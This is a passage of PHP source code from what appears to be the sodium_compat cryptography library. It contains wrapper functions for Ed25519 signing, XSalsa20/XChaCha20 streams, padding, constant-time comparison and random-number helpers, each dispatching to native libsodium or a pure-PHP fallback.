    public static function crypto_sign_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed);
        }
        $publicKey = '';
        $secretKey = '';
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        } else {
            ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        }
        return $secretKey . $publicKey;
    }

    /**
     * Extract an Ed25519 public key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey($keypair);
        }
        if (self::use_fallback('crypto_sign_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey($keypair);
    }

    /**
     * Calculate an Ed25519 public key from an Ed25519 secret key.
     *
     * @param string $secretKey Your Ed25519 secret key
     * @return string           The corresponding Ed25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey_from_secretkey(
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback('crypto_sign_publickey_from_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey);
    }

    /**
     * Extract an Ed25519 secret key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_secretkey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_secretkey($keypair);
        }
        if (self::use_fallback('crypto_sign_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair);
    }

    /**
     * Calculate the Ed25519 signature of a message and return ONLY the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed
     * @param string $secretKey Secret signing key
     * @return string           Digital signature
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_detached(
        $message,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_detached($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign_detached')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey);
    }

    /**
     * Verify the Ed25519 signature of a message.
     *
     * @param string $signature Digital sginature
     * @param string $message Message to be verified
     * @param string $publicKey Public key
     * @return bool             TRUE if this signature is good for this public key;
     *                          FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_verify_detached($signature, $message, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_verify_detached($signature, $message, $publicKey);
        }
        if (self::use_fallback('crypto_sign_verify_detached')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_sign_verify_detached',
                $signature,
                $message,
                $publicKey
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey);
    }

    /**
     * Convert an Ed25519 public key to a Curve25519 public key
     *
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) {
                return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk);
            }
        }
        if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk);
        }
        return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk);
    }

    /**
     * Convert an Ed25519 secret key to a Curve25519 secret key
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_sk_to_curve25519(
        #[\SensitiveParameter]
        $sk
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) {
                return sodium_crypto_sign_ed25519_sk_to_curve25519($sk);
            }
        }
        if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk);
        }

        $h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true);
        $h[0] = ParagonIE_Sodium_Core_Util::intToChr(
            ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248
        );
        $h[31] = ParagonIE_Sodium_Core_Util::intToChr(
            (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64
        );
        return ParagonIE_Sodium_Core_Util::substr($h, 0, 32);
    }

    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XSalsa20 key
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream(
        $len,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream($len, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream')) {
            return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XSalsa20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xor(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream_xor($message, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream_xor')) {
            return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_stream
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_KEYBYTES);
    }


    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XChaCha20 key
     * @param bool $dontFallback
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20(
        $len,
        $nonce,
        #[\SensitiveParameter]
        $key,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_stream_xchacha20($len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param int $counter
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor_ic(
        #[\SensitiveParameter]
        $message,
        $nonce,
        $counter,
        #[\SensitiveParameter]
        $key,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($counter, 'int', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.');
        }

        if (is_callable('sodium_crypto_stream_xchacha20_xor_ic') && !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key);
        }

        $ic = ParagonIE_Sodium_Core_Util::store64_le($counter);
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
    }

    /**
     * Return a secure random key for use with crypto_stream_xchacha20
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_xchacha20_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES);
    }

    /**
     * Cache-timing-safe implementation of hex2bin().
     *
     * @param string $string Hexadecimal string
     * @param string $ignore List of characters to ignore; useful for whitespace
     * @return string        Raw binary string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function hex2bin(
        #[\SensitiveParameter]
        $string,
        $ignore = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($ignore, 'string', 2);

        if (self::useNewSodiumAPI()) {
            if (is_callable('sodium_hex2bin')) {
                return (string) sodium_hex2bin($string, $ignore);
            }
        }
        if (self::use_fallback('hex2bin')) {
            return (string) call_user_func('\\Sodium\\hex2bin', $string, $ignore);
        }
        return ParagonIE_Sodium_Core_Util::hex2bin($string, $ignore);
    }

    /**
     * Increase a string (little endian)
     *
     * @param string $var
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function increment(
        #[\SensitiveParameter]
        &$var
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);

        if (self::useNewSodiumAPI()) {
            sodium_increment($var);
            return;
        }
        if (self::use_fallback('increment')) {
            $func = '\\Sodium\\increment';
            $func($var);
            return;
        }

        $len = ParagonIE_Sodium_Core_Util::strlen($var);
        if ($len < 1) {
            throw new SodiumException('Argument 1 cannot be empty');
        }
        $c = 1;
        $copy = '';
        for ($i = 0; $i < $len; ++$i) {
            $c += ParagonIE_Sodium_Core_Util::chrToInt(
                ParagonIE_Sodium_Core_Util::substr($var, $i, 1)
            );
            $copy .= ParagonIE_Sodium_Core_Util::intToChr($c);
            $c >>= 8;
        }
        $var = $copy;
    }

    /**
     * @param string $str
     * @return bool
     *
     * @throws SodiumException
     */
    public static function is_zero(
        #[\SensitiveParameter]
        $str
    ) {
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]);
        }
        return ((($d - 1) >> 31) & 1) === 1;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_major()
    {
        if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) {
            return SODIUM_LIBRARY_MAJOR_VERSION;
        }
        if (self::use_fallback('library_version_major')) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func('\\Sodium\\library_version_major');
        }
        return self::LIBRARY_VERSION_MAJOR;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_minor()
    {
        if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) {
            return SODIUM_LIBRARY_MINOR_VERSION;
        }
        if (self::use_fallback('library_version_minor')) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func('\\Sodium\\library_version_minor');
        }
        return self::LIBRARY_VERSION_MINOR;
    }

    /**
     * Compare two strings.
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function memcmp(
        #[\SensitiveParameter]
        $left,
        #[\SensitiveParameter]
        $right
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return sodium_memcmp($left, $right);
        }
        if (self::use_fallback('memcmp')) {
            return (int) call_user_func('\\Sodium\\memcmp', $left, $right);
        }
        /** @var string $left */
        /** @var string $right */
        return ParagonIE_Sodium_Core_Util::memcmp($left, $right);
    }

    /**
     * It's actually not possible to zero memory buffers in PHP. You need the
     * native library for that.
     *
     * @param string|null $var
     * @param-out string|null $var
     *
     * @return void
     * @throws SodiumException (Unless libsodium is installed)
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     */
    public static function memzero(
        #[\SensitiveParameter]
        &$var
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);

        if (self::useNewSodiumAPI()) {
            /** @psalm-suppress MixedArgument */
            sodium_memzero($var);
            return;
        }
        if (self::use_fallback('memzero')) {
            $func = '\\Sodium\\memzero';
            $func($var);
            if ($var === null) {
                return;
            }
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' .
            'To fix this error, make sure libsodium is installed and the PHP extension is enabled.'
        );
    }

    /**
     * @param string $unpadded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function pad(
        #[\SensitiveParameter]
        $unpadded,
        $blockSize,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);

        $unpadded = (string) $unpadded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_pad($unpadded, $blockSize);
        }

        if ($blockSize <= 0) {
            throw new SodiumException(
                'block size cannot be less than 1'
            );
        }
        $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded);
        $xpadlen = ($blockSize - 1);
        if (($blockSize & ($blockSize - 1)) === 0) {
            $xpadlen -= $unpadded_len & ($blockSize - 1);
        } else {
            $xpadlen -= $unpadded_len % $blockSize;
        }

        $xpadded_len = $unpadded_len + $xpadlen;
        $padded = str_repeat("\0", $xpadded_len - 1);
        if ($unpadded_len > 0) {
            $st = 1;
            $i = 0;
            $k = $unpadded_len;
            for ($j = 0; $j <= $xpadded_len; ++$j) {
                $i = (int) $i;
                $k = (int) $k;
                $st = (int) $st;
                if ($j >= $unpadded_len) {
                    $padded[$j] = "\0";
                } else {
                    $padded[$j] = $unpadded[$j];
                }
                /** @var int $k */
                $k -= $st;
                $st = (int) (~(
                            (
                                (
                                    ($k >> 48)
                                        |
                                    ($k >> 32)
                                        |
                                    ($k >> 16)
                                        |
                                    $k
                                ) - 1
                            ) >> 16
                        )
                    ) & 1;
                $i += $st;
            }
        }

        $mask = 0;
        $tail = $xpadded_len;
        for ($i = 0; $i < $blockSize; ++$i) {
            # barrier_mask = (unsigned char)
            #     (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT));
            $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1);
            # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask);
            $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr(
                (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask)
                    |
                (0x80 & $barrier_mask)
            );
            # mask |= barrier_mask;
            $mask |= $barrier_mask;
        }
        return $padded;
    }

    /**
     * @param string $padded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function unpad(
        #[\SensitiveParameter]
        $padded,
        $blockSize,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);

        $padded = (string) $padded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_unpad($padded, $blockSize);
        }
        if ($blockSize <= 0) {
            throw new SodiumException('block size cannot be less than 1');
        }
        $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded);
        if ($padded_len < $blockSize) {
            throw new SodiumException('invalid padding');
        }

        # tail = &padded[padded_len - 1U];
        $tail = $padded_len - 1;

        $acc = 0;
        $valid = 0;
        $pad_len = 0;

        $found = 0;
        for ($i = 0; $i < $blockSize; ++$i) {
            # c = tail[-i];
            $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]);

            # is_barrier =
            #     (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U;
            $is_barrier = (
                (
                    ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1)
                ) >> 7
            ) & 1;
            $is_barrier &= ~$found;
            $found |= $is_barrier;

            # acc |= c;
            $acc |= $c;

            # pad_len |= i & (1U + ~is_barrier);
            $pad_len |= $i & (1 + ~$is_barrier);

            # valid |= (unsigned char) is_barrier;
            $valid |= ($is_barrier & 0xff);
        }
        # unpadded_len = padded_len - 1U - pad_len;
        $unpadded_len = $padded_len - 1 - $pad_len;
        if ($valid !== 1) {
            throw new SodiumException('invalid padding');
        }
        return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len);
    }

    /**
     * Will sodium_compat run fast on the current hardware and PHP configuration?
     *
     * @return bool
     */
    public static function polyfill_is_fast()
    {
        if (extension_loaded('sodium')) {
            return true;
        }
        if (extension_loaded('libsodium')) {
            return true;
        }
        return PHP_INT_SIZE === 8;
    }

    /**
     * Generate a string of bytes from the kernel's CSPRNG.
     * Proudly uses /dev/urandom (if getrandom(2) is not available).
     *
     * @param int $numBytes
     * @return string
     * @throws Exception
     * @throws TypeError
     */
    public static function randombytes_buf($numBytes)
    {
        /* Type checks: */
        if (!is_int($numBytes)) {
            if (is_numeric($numBytes)) {
                $numBytes = (int) $numBytes;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.'
                );
            }
        }
        /** @var positive-int $numBytes */
        if (self::use_fallback('randombytes_buf')) {
            return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes);
        }
        if ($numBytes < 0) {
            throw new SodiumException("Number of bytes must be a positive integer");
        }
        return random_bytes($numBytes);
    }

    /**
     * Generate an integer between 0 and $range (non-inclusive).
     *
     * @param int $range
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_uniform($range)
    {
        /* Type checks: */
        if (!is_int($range)) {
            if (is_numeric($range)) {
                $range = (int) $range;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' . gettype($range) . ' given.'
                );
            }
        }
        if (self::use_fallback('randombytes_uniform')) {
            return (int) call_user_func('\\Sodium\\randombytes_uniform', $range);
        }
        return random_int(0, $range - 1);
    }

    /**
     * Generate a random 16-bit integer.
     *
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_random16()
    {
        if (self::use_fallback('randombytes_random16')) {
            return (int) call_user_func('\\Sodium\\randombytes_random16');
        }
        return random_int(0, 65535);
    }

    /**
     * @param string $p
     * @param bool $dontFallback
     * @return bool
     * @throws SodiumException
     */
    public static function ristretto255_is_valid_point(
        #[\SensitiveParameter]
        $p,
        $dontFallback = false
    ) {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_is_valid_point($p);
        }
        try {
            $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p);
            return $r['res'] === 0 &&
                ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1;
        } catch (SodiumException $ex) {
            if ($ex->getMessage() === 'S is not canonical') {
                return false;
            }
            throw $ex;
        }
    }

    /**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
